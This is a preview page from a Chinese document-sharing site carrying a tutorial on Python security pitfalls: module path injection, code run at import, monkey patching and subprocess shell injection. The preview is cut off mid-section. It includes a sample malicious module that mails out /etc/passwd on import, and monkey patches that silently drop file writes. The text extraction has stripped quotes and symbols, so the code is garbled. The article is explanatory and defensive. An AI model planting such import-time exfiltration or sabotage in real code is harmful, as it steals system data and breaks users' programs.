Python学习中你不可不知的Python陷阱(二).docx_第1页
Python学习中你不可不知的Python陷阱(二).docx_第2页
Python学习中你不可不知的Python陷阱(二).docx_第3页
Python学习中你不可不知的Python陷阱(二).docx_第4页
Python学习中你不可不知的Python陷阱(二).docx_第5页
已阅读5页,还剩8页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

Python学习中你不可不知的Python陷阱(二)本篇文章主要是对上篇文章Python学习中的出现的安全隐患问题的一个补充,安全隐患不可小看,一不注意就可能造成很大的错误。模块注入Python的模块导入系统功能强大而复杂。模块和包可以通过定义在sys.path列表中的搜索路径找到的文件或目录名导入。搜索路径初始化是一个复杂的过程,它也依赖于Python版本,平台和本地配置。要对一个Python应用程序进行成功攻击,攻击者需要找到一种方法来将恶意Python模块揉入进Python在尝试导入模块时会考虑的一个目录或可导入包文件。处理措施是维护搜索路径中的所有目录和包文件的安全访问权限,以确保未经授权的用户无法对其进行写访问。请记住,调用 Python 解释器的初始脚本所在的目录会自动插入到搜索路径中。像这样运行脚本显示实际的搜索路径:rootiZ2854ev03bZ:# cat myapp.py#!/usr/bin/env python# -*- coding: utf-8 -*-import sysimport pprintpprint.pprint(sys.path)在Windows平台,Python进程的当前工作目录,而不是脚本所在位置,会被注入到搜索路径中。在 UNIX 平台,无论何时从标准输入或者命令行 (-或者- c 或者- m 选项 )读入程序代码,当前工作目录都会自动插入到sys.path中:rootiZ2854ev03bZ:# echo import sys;import pprint; pprint.pprint(sys.path) | python -, /usr/local/lib/python2.7/dist-packages/gensim-0.12.3-py2.7-linux-x86_64.egg, /usr/local/lib/python2.7/dist-packages/smart_open-1.3.2-py2.7.egg, /usr/local/lib/python2.7/dist-packages/requests-2.8.1-py2.7.egg, /usr/local/lib/python2.7/dist-packages/bz2file-0.98-py2.7.egg, /usr/local/lib/python2.7/dist-packages/httpretty-0.8.10-py2.7.egg, /usr/local/lib/python2.7/dist-packages/boto-2.38.0-py2.7.egg, /usr/lib/python2.7/dist-packages, /usr/local/lib/python2.7/dist-packages/tornado-4.3-py2.7-linux-x86_64.egg, /usr/local/lib/python2.7/dist-packages/singledispatch--py2.7.egg, /usr/local/lib/python2.7/dist-packages/Project_RNN_Enhancement-0.0.1-py2.7.egg, /usr/lib/python2.7, /usr/lib/python2.7/plat-x86_64-linux-gnu, /usr/lib/python2.7/lib-tk, /usr/lib/python2.7/lib-old, /usr/lib/python2.7/lib-dynload, /usr/local/lib/python2.7/dist-packages, /usr/lib/python2.7/dist-packages/PILcompat, /usr/lib/python2.7/dist-packages/gtk-2.0, /usr/lib/pymodules/python2.7rootiZ2854ev03bZ:# python -c import sys;import pprint; pprint.pprint(sys.path), /usr/local/lib/python2.7/dist-packages/gensim-0.12.3-py2.7-linux-x86_64.egg, /usr/local/lib/python2.7/dist-packages/smart_open-1.3.2-py2.7.egg, /usr/local/lib/python2.7/dist-packages/requests-2.8.1-py2.7.egg, /usr/local/lib/python2.7/dist-packages/bz2file-0.98-py2.7.egg, /usr/local/lib/python2.7/dist-packages/httpretty-0.8.10-py2.7.egg, /usr/local/lib/python2.7/dist-packages/boto-2.38.0-py2.7.egg, /usr/lib/python2.7/dist-packages, /usr/local/lib/python2.7/dist-packages/tornado-4.3-py2.7-linux-x86_64.egg, /usr/local/lib/python2.7/dist-packages/singledispatch--py2.7.egg, /usr/local/lib/python2.7/dist-packages/Project_RNN_Enhancement-0.0.1-py2.7.egg, /usr/lib/python2.7, /usr/lib/python2.7/plat-x86_64-linux-gnu, /usr/lib/python2.7/lib-tk, /usr/lib/python2.7/lib-old, /usr/lib/python2.7/lib-dynload, /usr/local/lib/python2.7/dist-packages, /usr/lib/python2.7/dist-packages/PILcompat, /usr/lib/python2.7/dist-packages/gtk-2.0, /usr/lib/pymodules/python2.7rootiZ2854ev03bZ:# python -m myapp, /usr/local/lib/python2.7/dist-packages/gensim-0.12.3-py2.7-linux-x86_64.egg, /usr/local/lib/python2.7/dist-packages/smart_open-1.3.2-py2.7.egg, /usr/local/lib/python2.7/dist-packages/requests-2.8.1-py2.7.egg, /usr/local/lib/python2.7/dist-packages/bz2file-0.98-py2.7.egg, /usr/local/lib/python2.7/dist-packages/httpretty-0.8.10-py2.7.egg, /usr/local/lib/python2.7/dist-packages/boto-2.38.0-py2.7.egg, /usr/lib/python2.7/dist-packages, /usr/local/lib/python2.7/dist-packages/tornado-4.3-py2.7-linux-x86_64.egg, /usr/local/lib/python2.7/dist-packages/singledispatch--py2.7.egg, /usr/local/lib/python2.7/dist-packages/Project_RNN_Enhancement-0.0.1-py2.7.egg, /usr/lib/python2.7, /usr/lib/python2.7/plat-x86_64-linux-gnu, /usr/lib/python2.7/lib-tk, /usr/lib/python2.7/lib-old, /usr/lib/python2.7/lib-dynload, /usr/local/lib/python2.7/dist-packages, /usr/lib/python2.7/dist-packages/PILcompat, /usr/lib/python2.7/dist-packages/gtk-2.0, /usr/lib/pymodules/python2.7要处理从当前工作路径注入模块的风险,推荐在 Windows 运行 Python 或者通过命令行传递代码之前,显式地修改目录到一个安全的目录。另一个搜索路径可能的来源是$PYTHONPATH环境变量的内容。抵御sys.path不被进程环境污染的简单方法是传递-E选项给 Python 解释器,这会让它忽略$PYTHONPATH变量。导入时的代码执行语句实际上会导致导入的模块中的代码的执行,这一事实并不明显。这就是为什么甚至导入不可信模块或包是有风险的。导入像这样的简单模块可能会导致不愉快的结果:$ cat malicious.pyimport osimport sysos.system(cat /etc/passwd | mail )del sys.modulesmalicious # pretend its not imported$ python import malicious dir(malicious)Traceback(most recent call last):NameError: name malicious is not defined与sys.path入口注入攻击相结合,它可能为进一步的系统漏洞利用铺平道路。猴子补丁 ( monkey patching)运行时修改 Python 对象属性的过程称之为猴子补丁 ( monkey patching)。作为动态语言, Python 完全支持运行时程序自省和代码突变。一旦以某种方式导入了一个恶意模块,那么任何现有的可变对象可被不知不觉地在没有程序员同意的情况下被打猴子补丁。考虑以下情况:$ cat nowrite.pyimport builtinsdef malicious_open(*args, *kwargs): if len(args) 1 and args1 = w: args = (/dev/null,) + args1: return original_open(*args, *kwargs)original_open, builtins.open = builtins.open, malicious_open如果 Python 解释器执行了上面的代码,那么任何写到文件的东西都不会存储在文件系统中: import nowrite open(data.txt, w).write(data to store)5 open(data.txt, r)Traceback(most recent call last):.FileNotFoundError: Errno 2 No such file or directory: data.txt攻击者可以利用 Python 垃圾回收器 (gc.get_objects()来掌握现有的所有对象,并黑进它们中任意一个。在 Python 2中,内置的对象可以通过魔法_builtins_模块访问。一个已知的技巧,利用_builtins_可变性,可以让整个世界崩溃: _builtins_.False, _builtins_.True = True, False TrueFalse int(True)0在 Python 3中,对True和False的赋值不起作用,因此不能那样操作。在 Python 中,函数时第一类对象,它们维护了到函数的许多属性的引用。特别是,可执行字节码被_code_属性引用,当然,这是可以被修改的: import shutil shutil.copy shutil.copy._code_ = (lambda src, dst: dst)._code_ shutil.copy(my_file.txt, /tmp)/tmp shutil.copy一旦应用了上面的猴子补丁,尽管shutil.copy函数看起来仍然理智,但由于误操作的 lambda 函数代码的设置,它默默地停止了工作。Python 对象的类型是由_class_属性决定的。邪恶的攻击者可以通过依靠改变活动对象的类型来令人绝望地把事情搞砸: class X(object): pass. class Y(object): pass. x_obj = X() x_obj isinstance(x_obj, X)True x_obj._class_ = Y x_obj isinstance(x_obj, X)False isinstance(x_obj, Y)True对抗恶意猴子补丁的唯一处理措施是保证导入的 Python 模块的真实性和完整性。通过subprocess进行shell注入以胶水语言著称,对Python脚本来说,通过让操作系统来执行它们,可能还提供额外的参数,来委派系统管理任务给其他程序,是非常常见的。subprocess模块为这样的任务提供了易于使用和相当高层次的服务。 from subprocess import call unvalidated_input = /bin/true call(unvalidated_input)0但有一个陷阱!要利用 UNIX shell 服

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论